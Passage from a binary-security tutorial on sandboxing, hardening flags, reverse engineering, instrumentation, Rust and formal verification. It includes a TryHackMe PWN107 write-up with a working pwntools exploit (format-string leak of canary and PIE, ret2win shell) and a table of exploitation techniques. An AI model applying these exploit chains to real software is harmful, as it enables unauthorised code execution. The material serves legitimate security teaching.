The application (or its parent process) installs a seccomp-BPF filter at runtime (hardcoded in the program by the developer). This filter specifies which system calls are allowed. Every syscall issued by the process is then checked by the Linux kernel against this filter before being executed.
Knowing that if the program can read or write, the attacker will not be able to use the syscall execve to call "cat" or "ls" but will have to use the syscalls allowed for this program which makes the process more complex.
This protection is not present in the majority of programs. To know which syscall the application must be able to use we can use sysdig during the legitimate execution and then only allow those expected.
Namespaces, cgroups, containers
To add a layer of protection we can launch the program and access it via docker.
Docker relies mainly on the namespaces and the cgroups. The namespace gives the program the impression that it owns the entirety of a system for itself and that it is at the root (where classically a program only has virtual memory it's as if it had a virtual system).
The cgroups for their part allow to limit the access to the hardware resources of the system (RAM/CPU/SSD).
Browser / process isolation sandboxes
The browsers are an example of defense in depth protection management, each of the parts of the browser has a sandbox where it thinks it's alone and cannot access the others as easily as the attacker would want.
The modern protections are not thought in isolation. They are designed to force the attacker to chain several vulnerabilities.
Compiler hardening flags
When compiling a program with GCC you can use flags in the command to enable protections:
-fstack-protector-strong stack canary
-D_FORTIFY_SOURCE=2 FORTIFY
-fPIE Generate executable with PIE protections (.text at a random place)
-pie Produces a PIE executable that the kernel can load at a random address
-fstack-clash-protection Stack Clash Protection
-fcf-protection Intel CET
Reverse engineering and binary analysis
Disassembly
The disassembling consists of taking the compiled program (which is composed of binary opcode), and to translate it in assembly instruction :
Assembleur :
C code -> Assembly langage -> opcodes (binary instruction)
Disassembleur :
Assembly langage <- opcodes
Two ways of disassembling exist. The linear way, where each octet of the program is translated linearly to instruction (this method is fast but can wrongly interpret data as code). And the recursive which start from a know entry point (main for example) and follow the instruction suite to disassembly only the real executed instruction in the execution flow (can miss code whose address is calculated dynamically.).
In terms of tools we can go from the simple command line program like objdump :
#objdump -D test
test: file format elf64-x86-64
Disassembly of section .interp:
00000000004002e0 <.interp>:
4002e0: 2f (bad)
4002e1: 6e outsb %ds:(%rsi),(%dx)
4002e2: 69 78 2f 73 74 6f 72 imul $0x726f7473,0x2f(%rax),%edi
4002e9: 65 2f gs (bad)
4002eb: 70 64 jo 400351 <_init-0xcaf>
4002ed: 77 6c ja 40035b <_init-0xca5>
4002ef: 79 6a jns 40035b <_init-0xca5>
4002f1: 6b 6d 63 36 imul $0x36,0x63(%rbp),%ebp
4002f5: 69 63 63 30 77 62 35 imul $0x35627730,0x63(%rbx),%esp
4002fc: 67 61 addr32 (bad)
4002fe: 77 30 ja 400330 <_init-0xcd0>
400300: 38 6d 39 cmp %ch,0x39(%rbp)
400303: 79 6e jns 400373 <_init-0xc8d>
400305: 71 72 jno 400379 <_init-0xc87>
To Cutter, IDA, Ghidra, Binary ninja which will allow to generate graphs according to the jumps of the instructions and to go down in the function tree which is super practical.
Knowing that all these tools have in addition debug and decompilation functions that we will talk about :
Decompilation
Decompilation consists of trying to reconstruct a higher level code from the assembly code. It's an imperfect attempt and the more we speculate on the code the more we risk approximations.
Knowing that if the program has been compiled with debug options it allows to get the names of the functions and the comments which can make the process easier.
On the other hand if it has been compiled with optimization options (-O1, -O2, -O3, -Os) it can make it more complicated.
At the limit in the context of the security of binary programs, the subject is not so much the code (since there are a thousand ways to program the same behavior), it's precisely the behavior so the assembly which leaves no approximation.
C code :
Disassembled :
<main>:
push rbp
mov rsp, rbp
sub 0x10, rsp
0x13, -0x4(rbp)
mov 0x5, esi
lea 0xeb0(rip), rax
mov rax, rdi
mov 0x0, eax
call <printf@plt>
mov 0x0, eax
leave
ret
Decompiled :
It decided to not even display my super variable a !Dynamic debugging
There are also tools and functionalities in those already mentioned that allow to execute the program and analyze the state of the stack and the heap during the execution.
To avoid having to make screenshots here is a quick demonstration of pwndbg which is purely command line :
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(){
int a = 5;
int b = 9;
int c;
char d[16];
strcpy(d, ":-)");
char *e = malloc(16);
strcpy(e, "Hello");
return 0;
}
pwndbg> disass main
Dump of assembler code for function main:
0x0000000000001139 <+0>: push rbp
0x000000000000113a <+1>: mov rbp,rsp
0x000000000000113d <+4>: sub rsp,0x20
0x0000000000001141 <+8>: mov DWORD PTR [rbp-0x4],0x5 # a
0x0000000000001148 <+15>: mov DWORD PTR [rbp-0x8],0x9 # b (c is never init so not compiled)
0x000000000000114f <+22>: lea rax,[rbp-0x20]
0x0000000000001153 <+26>: mov DWORD PTR [rax],0x292d3a # d
0x0000000000001159 <+32>: mov edi,0x10
0x000000000000115e <+37>: call 0x1030 <malloc@plt>
0x0000000000001163 <+42>: mov QWORD PTR [rbp-0x10],rax
0x0000000000001167 <+46>: mov rax,QWORD PTR [rbp-0x10]
0x000000000000116b <+50>: mov DWORD PTR [rax],0x6c6c6548
0x0000000000001171 <+56>: mov WORD PTR [rax+0x4],0x6f
0x0000000000001177 <+62>: mov eax,0x0
0x000000000000117c <+67>: leave
0x000000000000117d <+68>: ret
End of assembler dump.
To get a, b values after their initialisation we can add a break directly to the addrese or we can use the main+22 shortcut
If we use after that the stack command we will not see our values because the tool displays by default a small portion of it around rsp :
pwndbg> stack
00:0000│ rsp 0x7ffc4b86eee0 ◂— 0
01:0008│-018 0x7ffc4b86eee8 —▸ 0x79e1bb0e9f70 (dl_main) ◂— push rbp
02:0010│-010 0x7ffc4b86eef0 ◂— 0
03:0018│-008 0x7ffc4b86eef8 ◂— 0x500000009 /* '\t' */
04:0020│ rbp 0x7ffc4b86ef00 ◂— 1
05:0028│+008 0x7ffc4b86ef08 —▸ 0x79e1baef824a (__libc_start_call_main+122) ◂— mov edi, eax
06:0030│+010 0x7ffc4b86ef10 —▸ 0x7ffc4b86f000 —▸ 0x7ffc4b86f008 ◂— 0x38 /* '8' */
07:0038│+018 0x7ffc4b86ef18 —▸ 0x618f1c376139 (main) ◂— push rbp
We can display the 128 bytes before rsp :
pwndbg> x/128bx $rsp
0x7ffc4b86eee0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffc4b86eee8: 0x70 0x9f 0x0e 0xbb 0xe1 0x79 0x00 0x00
0x7ffc4b86eef0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffc4b86eef8: 0x09 0x00 0x00 0x00 0x05 0x00 0x00 0x00 <-------- b=9 and a=5 (4 bytes each)
0x7ffc4b86ef00: 0x01 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7ffc4b86ef08: 0x4a 0x82 0xef 0xba 0xe1 0x79 0x00 0x00
[...]
We will now get d after the strcpy, as we are already at main+22 to move to main+32 we can do :
pwndbg> stack
00:0000│ rax rsp 0x7ffe3e881960 ◂— 0x292d3a /* ':-)' */
01:0008│-018 0x7ffe3e881968 —▸ 0x70693e09cf70 (dl_main) ◂— push rbp
02:0010│-010 0x7ffe3e881970 ◂— 0
03:0018│-008 0x7ffe3e881978 ◂— 0x500000009 /* '\t' */
04:0020│ rbp 0x7ffe3e881980 ◂— 1
05:0028│+008 0x7ffe3e881988 —▸ 0x70693deab24a (__libc_start_call_main+122) ◂— mov edi, eax
06:0030│+010 0x7ffe3e881990 —▸ 0x7ffe3e881a80 —▸ 0x7ffe3e881a88 ◂— 0x38 /* '8' */
07:0038│+018 0x7ffe3e881998 —▸ 0x56f2b5b4d139 (main) ◂— push rbp
":-)" was placed at the top of the stack and d points to this address.
pwndbg> vis-heap-chunks 100
0x56f2b75c1000 0x0000000000000000 0x0000000000000291 ................
0x56f2b75c1010 0x0000000000000000 0x0000000000000000 ................
0x56f2b75c1020 0x0000000000000000 0x0000000000000000 ................
[...]
0x56f2b75c1260 0x0000000000000000 0x0000000000000000 ................
0x56f2b75c1270 0x0000000000000000 0x0000000000000000 ................
0x56f2b75c1280 0x0000000000000000 0x0000000000000000 ................
0x56f2b75c1290 0x0000000000000000 0x0000000000000021 ........!.......
0x56f2b75c12a0 0x0000006f6c6c6548 0x0000000000000000 Hello...........
0x56f2b75c12b0 0x0000000000000000 0x0000000000020d51 ........Q.......
Binary instrumentation (Frida, DynamoRIO, Pin)
Ok at this stage we know a to analyse a compiled program with tools, but what if we modify the binary to make it easier to understand ?
That all the point of binary instrumentation. We are going to modify or extend the behavior of a compiled program, without having its source code.
There are two big ways to do it, in static where the program is modified before its execution and in dynamic where we add instructions during its launch.
To achieve this purpose, the tools add hook before the function call (for example display the filename before fopen()). We also use tracing to record what a program does during its execution.
Static with LIEF
First of all this is the program we will instrument :
// Generated by Gemini
#include <stdio.h>
#include <string.h>
int check_password(const char *input) {
return strcmp(input, "REDACTED") == 0;
}
int main() {
char buffer[64];
printf("Enter password : ");
if (fgets(buffer, sizeof(buffer), stdin) != NULL) {
buffer[strcspn(buffer, "\n")] = 0;
if (check_password(buffer)) {
puts("You win !");
} else {
puts("Nop !");
}
}
return 0;
}
To patch it we will add our hook :
// Generated by Gemini ; commented by a human ;)
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>
// Hook the strcmp to create our own version :
int strcmp(const char *s1, const char *s2) {
// Get a ptr on the real version :
int (*real_strcmp)(const char *, const char *) = dlsym(RTLD_NEXT, "strcmp");
// Display the args (which is normaly not a classic behavior for strcmp)
printf("\n[TRACING] strcmp call with :\n");
printf(" - Args 1 : %s\n", s1);
printf(" - Args 2 : %s\n", s2);
return real_strcmp(s1, s2);
}
We then orchestrate our operation with python :
# LD_LIBRARY_PATH=. ./prog_patched
Enter password : : Hello!
[TRACING] strcmp call with :
- Args 1 : Hello!
- Args 2 : Secret123! // we got the secret !
Nop !
Dynamic with Frida
What a crazy software here. You can launch it like that :
frida-trace -f ./prog
Instrumenting... Started tracing 0 functions. Web UI available at http://localhost:40801/
Then you can use the WebUI to click on "Add", paste "strcmp" and then you can modify the content of the hook :
/*
* Auto-generated by Frida. Please modify to match the signature of strcmp.
* This stub is currently auto-generated from manpages when available.
*
* For full API reference, see: https://frida.re/docs/javascript-api/
*/
defineHandler({
onEnter(log, args, state) {
log(`strcmp("${args[0].readUtf8String()}", "${args[1].readUtf8String()}")`); // <------- I just add this line
log('strcmp()');
},
onLeave(log, retval, state) {
}
});
Then you click on Deploy and you can enter the user input to see the result :
hello
Nop !
/* TID 0x163d */
50083 ms strcmp("hello", "Secret123!")
50083 ms strcmp()
Process terminated
Languages and verification
Memory-safe languages (Rust, and alternatives)
Rust eliminates a large proportion of memory vulnerabilities by design, thanks to checks performed at compile time. Here are the main mechanisms that it applies to do this :
Ownership
Each piece of data has a single owner responsible for freeing it. This prevents double frees, memory leaks caused by improper allocation management, and the use of already freed memory :
For example one of the typical cases of UAF in C is when we lose the path that the variables make between them :
char *a = malloc(16);
strcpy(a, "Hello");
char *b= a;
free(a);
a = NULL; // a ptr is now dangling
printf("%s\n", b); // but we forget that b also point on this memory space
In Rust this is not possible :
let s = String::from("Hello"); // s pointer on the stack, point to the data "Hello" on the Heap.
let t = s; // ownership is moved
println!("{}", s); // error because the ownership have been moved to t
So how do we set a variable to the value of another?
For values stored directly on the stack and implementing the "Copy trait" (ability of a variable to be copied during the declaration of another variable), assignment creates an independent copy of the value:
For variables that own heap-allocated memory, such as String, Vec
If the variable points on a stack memory space :
let buf = [0u8; 10]; // array of 10 chars
let buf2 = buf; // will create another separated array without deleting buf
Concretely in Rust two variables cannot point to the same memory space.
Borrowing
"Rust allows either several immutable references, or a single mutable reference to a data at a given moment."
In C we can do this :
Each of the variable "a" and "b" can modify the exact same memory space at the "x" addresses.Rust allows several references toward the same data only if they are immutable (&T). If a reference is mutable (&mut T), it must be the only existing reference :
let s = String::from("Hello");
let a = &s;
let b = &s;
// Here a and b point well toward the same memory, but only in reading.
Lifetimes
The compiler verifies that no reference outlives the data after its memory space has been freed.
Example in c:
char *do_something()
{
char buffer[] = "Hello";
return buffer;
}
int main()
{
char *p = do_something();
printf("%s\n", p);
}
The Rust version :
The compiler sees that "s" is created in foo(), destroyed at the end of the function and that the reference &s would survive after the destruction of s.So write the Rust code like this when we have to get the return value of a function :
The ownership of the String is transferred from foo() to main(). The heap memory therefore stays valid as long as s exists in main().Typing and compile-time guarantees
All the previous protections are made possible thanks to the analyses of the compiler which will refuse to generate a code that does not strictly respect the security rules among which :
ownership
borrowing
lifetimes
absence of use-after-free
absence of double free
absence of data races on the safe code
mandatory initialization of the variables
verification of the types
exhaustive matching of the match
impossibility to use a moved value (move)
control of the mutability (mut)
verification of the lifetimes of the references
*list generated by AI
Formal verification tools
Another paradigm of protection consists of proving mathematically that a program respects certain security properties. The formal verification tools demonstrate that a property is always true for all the possible executions of the program.
One of the most known tools for the C language is Frama-C. The simplest way to use it consists of using the eva plugin :
# frama-c -eva frama_c_demo.c
[kernel] Parsing frama_c_demo.c (with preprocessing)
[eva] Analyzing a complete application starting at main
[eva:initial-state] Values of globals at initialization
[eva:alarm] frama_c_demo.c:5: Warning:
accessing out of bounds index. assert 10 < 8;
[kernel] frama_c_demo.c:5: Warning:
all target addresses were invalid. This path is assumed to be dead.
[eva] frama_c_demo.c:5: assertion 'Eva,index_bound' got final status invalid.
[eva] ====== VALUES COMPUTED ======
[eva:final-states] Values at end of function main:
NON TERMINATING FUNCTION
[eva:summary] ====== ANALYSIS SUMMARY ======
----------------------------------------------------------------------------
1 function analyzed (out of 1): 100% coverage.
In this function, 1 statements reached (out of 3): 33% coverage.
----------------------------------------------------------------------------
Some errors and warnings have been raised during the analysis:
by the Eva analyzer: 0 errors 0 warnings
by the Frama-C kernel: 0 errors 1 warning
----------------------------------------------------------------------------
1 alarm generated by the analysis:
1 access out of bounds index <--------------------------------------------------------- HERE out of bound is detected
1 of them is a sure alarm (invalid status).
----------------------------------------------------------------------------
No logical properties have been reached by the analysis.
----------------------------------------------------------------------------
Various demonstrations for practical applications
Try hack me PWN107 : Format string to leak canary, PIE, and buffer overflow to ret2win/ret2libc
# nc 10.64.159.96 9007
┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
│ ├┬┘└┬┘├─┤├─┤│ ├┴┐│││├┤
┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
pwn 107
You are a good THM player 😎
But yesterday you lost your streak 🙁
You mailed about this to THM, and they responsed back with some questions
Answer those questions and get your streak back
THM: What's your last streak? 17
Thanks, Happy hacking!!
Your current streak: 17
[Few days latter.... a notification pops up]
Hi pwner 👾, keep hacking👩💻 - We miss you!😢
ok
hello ?
ahhhhhhhhhhhhhhhhhh
Ncat: Broken pipe.
We begin by analyzing the binary to determine which protections are enabled and, above all, which vulnerabilities are present.
To avoid unnecessarily complicating the exploitation process, I will simply analyze the pseudocode generated by Ghidra and focus on the exploitation techniques relevant to this challenge.
# checksec pwn107-1644307530397.pwn107
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
We are dealing with several security mechanisms.
NX makes the stack non-executable.
ASLR randomizes the addresses of various memory regions upon each execution.
PIE does the same for the binary itself: program function addresses also change between executions.
Stack Canary allows for the detection of stack corruption before the function returns. We must therefore know the canary value and correctly place it within our payload.
Full RELRO makes the GOT read-only, among other things. GOT overwrite is not an option here.
However, these protections do not necessarily make exploitation impossible. They require us to combine multiple primitives.
We identify the format string and buffer overflow vulnerabilities (see previous chapters for details) :
void main(void)
{
long in_FS_OFFSET;
char local_48[32];
undefined1 local_28[24]; // <--- local_28 can store 24 bytes
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
setup();
banner();
puts(&DAT_00100c68);
puts(&DAT_00100c88);
puts("You mailed about this to THM, and they responsed back with some questions");
puts("Answer those questions and get your streak back\n");
printf("THM: What's your last streak? ");
read(0, local_48, 0x14);
printf("Thanks, Happy hacking!!\nYour current streak: ");
printf(local_48); // format string
puts("\n\n[Few days latter.... a notification pops up]");
puts(&DAT_00100db8);
read(0, local_28, 0x200); // <--- but read 200 = buffer overflow
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
__stack_chk_fail();
}
return;
}
We also have a second function that gives us a shell (for a ret2win) :
void get_streak(void)
{
long lVar1;
long in_FS_OFFSET;
lVar1 = *(long *)(in_FS_OFFSET + 0x28);
puts("This your last streak back, don\'t do this mistake again");
system("/bin/sh");
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
We have exactly the kind of situation for bypassing the previous protections !
The first step involves leaking the canary using the format string :
from pwn import *
elf = ELF('./pwn107-1644307530397.pwn107')
p = process(elf.path)
# %1$p, %2$p, ..., %15$p
payload = b''.join(f'%{i}$p '.encode() for i in range(1, 16))
p.sendlineafter(b'streak? ', payload)
p.recvuntil(b'streak: ')
leak = p.recvline()
print("leak :", leak)
By repeating the operation, one observes in particular that the 4th value look like a canary :
The value varies between executions and ends with "00", which is common for a canary.
The canary value is now known dynamically. We will therefore be able to perform our stack overflow without triggering the protection.
Since PIE is enabled, the binary's function addresses also change with each execution the same technique will need to be used to locate "get_streak".
We can therefore examine the various values obtained using the format string:
%1$p = 0x7ffc0e4f84a0 -> [stack]
%2$p = (nil)
%3$p = (nil)
%4$p = 0x5e2a41400b00 -> /workspace/pwn107/pwn107-1644307530397.pwn107 # the canary
%5$p = 0x75d8c4d0d680 -> /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
%6$p = 0xa70243625
%7$p = (nil)
%8$p = (nil)
%9$p = (nil)
%10$p = (nil)
%11$p = 0x7a1d490e4f70 -> /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
%12$p = (nil)
%13$p = 0x724dc9f48f493800
%14$p = 0x1
%15$p = 0x74f084b9524a -> /usr/lib/x86_64-linux-gnu/libc.so.6 # an address belonging to libc.
%16$p = 0x7ffff372d8c0 -> [stack]
%17$p = 0x614776000992 -> /workspace/pwn107/pwn107-1644307530397.pwn107 # an address belonging to the PIE binary.
%18$p = 0x1b1400040
%19$p = 0x7fffca94af88 -> [stack]
Digression on ret2libc
If we had wanted to find the necessary components for a ret2libc attack based on our libc related address we would have needed to do the following :
leaked address - known offset = libc base
libc base + system offset = system address
libc base + offset of "/bin/sh" = address of "/bin/sh"
The values vary depending on the libc version !
Calculate the PIE base and find the get_streak function
In our case, %17$p allows us, to retrieve, for example :
This address is corresponding to a location within the binary; to retrieve the offset, we can use vmmap:
pwndbg> b *main+147
pwndbg> run
THM: What's your last streak? %17$p
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
0x61dae7800000 0x61dae7801000 r-xp 1000 0 pwn107-1644307530397.pwn107
0x61dae7a01000 0x61dae7a02000 r--p 1000 1000 pwn107-1644307530397.pwn107
0x61dae7a02000 0x61dae7a03000 rw-p 1000 2000 pwn107-1644307530397.pwn107
0x7c9534ed8000 0x7c9534edb000 rw-p 3000 0 [anon_7c9534ed8]
0x7c9534edb000 0x7c9534f01000 r--p 26000 0 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7c9534f01000 0x7c9535057000 r-xp 156000 26000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7c9535057000 0x7c95350aa000 r--p 53000 17c000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7c95350aa000 0x7c95350ae000 r--p 4000 1cf000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7c95350ae000 0x7c95350b0000 rw-p 2000 1d3000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7c95350b0000 0x7c95350bd000 rw-p d000 0 [anon_7c95350b0]
0x7c95350d0000 0x7c95350d2000 rw-p 2000 0 [anon_7c95350d0]
0x7c95350d2000 0x7c95350d6000 r--p 4000 0 [vvar]
0x7c95350d6000 0x7c95350d8000 r-xp 2000 0 [vdso]
0x7c95350d8000 0x7c95350d9000 r--p 1000 0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7c95350d9000 0x7c95350ff000 r-xp 26000 1000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7c95350ff000 0x7c9535109000 r--p a000 27000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7c9535109000 0x7c953510b000 r--p 2000 31000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7c953510b000 0x7c953510d000 rw-p 2000 33000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffd22934000 0x7ffd22955000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]
pwndbg> next
Thanks, Happy hacking!!
Your current streak: 0x000061dae7800a2a
So :
leaked address - PIE base = offset of the leaked address within the PIE
0x61dae7800a2a - 0x61dae7800000 = 0x0a2a
In the ELF file, we can therefore calculate:
The resulting base then allows pwntools to automatically recalculate the symbol addresses:
It's exactly the same way to calculate the libc base :
leaked address - offset within PIE = PIE base
PIE base + get_streak offset = actual address of get_streak
Get the padding
Before constructing the final payload, you need to know the distance between the start of the buffer and the canary, and then between the canary and the return address.
Based on the disassembly:
the buffer starts at:
The canary is at:
There are therefore 24 bytes (0x20 - 0x8 = 0x18 = 24) between the start of the buffer and the canary.
Then, the canary occupies 8 bytes. The saved RBP then occupies 8 bytes.
The return address (rip) is located at:
The stack layout is therefore:
Final exploit with ret2win
from pwn import *
context.binary = elf = ELF(
'./pwn107-1644307530397.pwn107',
checksec=False
)
context.log_level = 'info'
p = remote('10.67.170.242', 9007)
# First vuln : format string to leak the canary + PIE base address
p.sendlineafter(
b"streak? ",
b"%17$p.%4$p"
)
p.recvuntil(b"streak: ")
leaks = p.recvline().strip().split(b".")
pie_leak = int(leaks[0], 16)
canary = int(leaks[1], 16)
elf.address = pie_leak - 0x0a2a
get_streak = elf.sym.get_streak
log.success(
f"PIE leak = {hex(pie_leak)}"
)
log.success(
f"canary = {hex(canary)}"
)
log.success(
f"PIE base = {hex(elf.address)}"
)
log.success(
f"get_streak = {hex(get_streak)}"
)
# Stack alignment gadget
rop = ROP(elf)
ret = rop.find_gadget(['ret'])[0]
log.success(
f"ret = {hex(ret)}"
)
# Second vuln : stack buffer overflow
payload = (
b"A" * 24
+ p64(canary)
+ b"B" * 8
+ p64(ret)
+ p64(get_streak)
)
p.sendlineafter(
b"notification pops up]\n\n",
payload
)
p.interactive()
AI generated summary table for exploitation
Given the number of possible combinations of vulnerabilities, the exploit primitives they enable, the protections, and the most direct (and stable) exploit for each situation, I asked the AI to generate a summary table that seems quite comprehensive :
| Protections | Primitive (associated vulns) | Situation | Exploit choice | Exploit description |
|---|---|---|---|---|
| None | Write to the stack (stack buffer overflow) | Executable stack, fixed addresses | ret2shellcode | You write your shellcode into the buffer, then overwrite the return address with the address of that buffer (fixed, no ASLR). A NOP-sled absorbs the imprecision. On ret, the CPU jumps to your code and runs it. |
| NX | Write to the stack (stack buffer overflow) | Non-executable stack, but fixed addresses (no PIE, libc at a known offset) | ret2libc | NX forbids executing the stack, so you reuse existing code. You overwrite the return address with system's and prepare its "/bin/sh" argument. On x86-64 you first go through a pop rdi ; ret gadget to put "/bin/sh" into rdi. No leak needed: everything is hardcoded. |
| NX + ASLR | Write to the stack (stack buffer overflow) | Fixed binary (no PIE) but randomized libc | ret2plt then ret2libc | The libc moves, so you must locate it. Stage 1: ROP puts(GOT[puts]) via the PLT (fixed) to leak the real address of puts, giving base_libc = leak - offset(puts). You return to main (ret2main) to re-trigger the overflow, then stage 2 system("/bin/sh") with the recomputed addresses. |
| NX + ASLR + PIE | Write to the stack (stack buffer overflow) | Binary is ALSO randomized, PLT/GOT unknown | Leak PIE base + leak libc, then ret2libc | Two unknowns. You first leak a binary address (saved return, leftover pointer) to compute the PIE base and recover PLT/GOT, then apply the same scheme as the previous row to leak libc and finish with ret2libc. |
| NX + ASLR + PIE + Full RELRO | Write to the stack (stack buffer overflow) | GOT is read-only | ret2libc via the stack | Full RELRO only locks the GOT against writes; it does not hinder a ret2libc, which overwrites the return address on the stack. You proceed exactly like the previous row (leaks + ROP). |
| NX + ASLR + PIE + Full RELRO + Canary | Write to the stack (stack buffer overflow) | Realistic hardened case: canary between buffer and return address | Triple leak (canary + PIE + libc) then ret2libc | A sequential overflow destroys the canary → abort before ret. You must first leak it (OOB read, format string) to rewrite it intact, plus leak PIE and libc bases. Once all three are known: ROP pop rdi ; "/bin/sh" ; system. |
| NX + ASLR | Write to the stack, but very few bytes (limited stack buffer overflow) | No room for a full ROP chain | Stack pivot | You overwrite just enough to redirect rsp to a region you fully control (another known buffer, .bss) via a leave ; ret or pop rsp ; ret gadget. Once rsp sits on your large chain, you unroll the full ROP (leak + ret2libc). |
| NX + ASLR, few gadgets | Write to the stack, control of 3 args required (stack buffer overflow) | Small/static binary, no simple pop rdi/rsi/rdx |
ret2csu | __libc_csu_init offers a pop rbx/rbp/r12..r15 ; ret sequence + a call [r12+rbx*8]: a universal gadget to load rdi/rsi/rdx and make an indirect call. (Gone from recent glibc → replace with another universal gadget.) |
| NX + ASLR, no leak available | Write to the stack (stack buffer overflow), non-PIE binary | Impossible to leak the libc | ret2dlresolve | You forge fake relocation structures (Elf_Sym, etc.) in a writable region, then call the dynamic resolver asking for system. The linker resolves it and calls it for you, without ever needing a libc leak. |
| NX + ASLR, Partial RELRO | Write anything to any address (write-what-where: format string %n, tcache poisoning, UAF, arbitrary write) |
GOT is writable, a target function is about to be called | GOT overwrite | You overwrite a GOT entry (e.g. free, printf) with the address of system or a one_gadget. On the next call, system runs with the argument the target was passing (e.g. free(ptr) where ptr = a controlled "/bin/sh"). Requires a libc leak for the value to write. |
| NX + ASLR + Full RELRO | Write anything to any address (write-what-where: format string %n, tcache poisoning, UAF) |
GOT is read-only → GOT overwrite impossible | Hook overwrite / FSOP / __exit_funcs | Old glibc (< 2.34): you write system/one_gadget into __free_hook, then trigger free("/bin/sh"). Recent glibc (hooks removed): FSOP, you corrupt an _IO_FILE structure / its vtable to hijack an fflush/exit, or target __exit_funcs/tls_dtor_list. Full RELRO protects none of these targets. |
| NX + ASLR, Partial RELRO | Read AND write anything to any address (format string) | You control the format string of printf(user) |
Format string: leak via %p/%s then GOT overwrite via %n |
A format string gives both arbitrary read and write. You first leak canary/libc/stack with %p/%s, then write with %n (writes the number of bytes printed to the pointed address) into GOT[printf] to place system/one_gadget. |
| NX + ASLR + Full RELRO | Read AND write anything to any address (format string) | GOT read-only, but arbitrary R/W preserved | Format string %n to the return address |
GOT closed → you target the stack: you leak a stack address, locate a saved return address, then rewrite it with %n to place a one_gadget or bootstrap a mini-ROP. Alternative: __exit_funcs/FSOP. |
| NX + ASLR (+ Full RELRO) | Write to the heap (heap overflow, UAF) | Allocator corruption, no direct stack/GOT access | tcache poisoning → write-what-where | You corrupt the next pointer of a freed tcache chunk to point the freelist at a target address; the next malloc returns an arbitrary chunk → you obtain an arbitrary write, which you convert to __free_hook/FSOP (see the Full RELRO row). glibc ≥ 2.32: defeating safe-linking (XOR addr >> 12) requires a heap leak. |
| NX + ASLR | Read anything at any address, no write (OOB read, format string %p/%s) |
You can read out of bounds but write nothing | Leak building block (to combine) | On its own, a leak grants no execution: it serves to defeat ASLR/PIE/canary by reading the GOT (libc address), a stack address, or the canary. It is the "leak" stage of the ret2plt/triple-leak rows. You need a write primitive alongside it to turn it into execution. |
| NX + ASLR, static binary | Write to the stack (stack buffer overflow) → ROP possible because the binary is packed with gadgets and already contains the syscall code | No linked libc, so no system/libc PLT |
ROP syscall execve (args via ret2csu) or SROP |
A static binary embeds a huge number of gadgets: that is what makes ROP possible here. You load rax=59, rdi=addr("/bin/sh"), rsi=0, rdx=0 then syscall. The "/bin/sh" string is written beforehand into .bss via a write gadget. SROP is the compact alternative if gadgets are scarce but a syscall ; ret exists. |
| NX + ASLR + seccomp | Write to the stack (stack buffer overflow) → ROP possible: the overflow gives you control of the flow, only execve is blocked, not ROP |
Sandbox forbids execve → no direct shell |
"ORW" ROP chain (open/read/write) | ROP works normally (the overflow makes you master of the stack); only the shell is forbidden. So you read the target file directly: open("flag") → read(fd, buf, n) → write(1, buf, n). First check the seccomp (seccomp-tools dump) for the syscalls still allowed (sometimes openat/sendfile). |
| NX + ASLR + CET / Shadow Stack | Write to the stack (stack buffer overflow) | The shadow stack verifies every ret → classic ROP detected |
JOP / COP, or SROP | Forged rets are caught, so you switch to gadgets ending in jmp reg (JOP) or call reg (COP), chained via a dispatcher. SROP alternative: forge a sigreturn frame to restore all registers at once and call execve, if a sigreturn gadget is reachable. |
| NX + ASLR + PIE, no leak | Write to the stack, only the low bytes reachable (stack buffer overflow, partial overwrite) | You can only overwrite a saved pointer's low bytes, and no leak is available | Partial pointer overwrite | ASLR/PIE only randomizes the high bits; the low 12 bits (one page) stay fixed. By overwriting only the last 1–2 bytes of a saved return address or a code pointer, you redirect it to a nearby gadget/function within the same page without knowing the full base — bypassing ASLR with no leak. Some brute force over the few uncertain bits may be needed. |
| NX + ASLR (Partial RELRO) | Overwrite an indirect call target (C++ vtable hijack, UAF on an object, function pointer overwrite) | The program calls through a pointer/vtable you can corrupt | Function-pointer / vtable hijack | Instead of the return address, you corrupt a called-through pointer: a C++ object's vtable pointer (after a UAF that reallocates the freed object with your data), or a stored callback. You point it at a fake vtable/gadget so the next indirect call lands where you want (one_gadget, or a ROP pivot). Bypasses stack canaries entirely, since it never touches the return address. |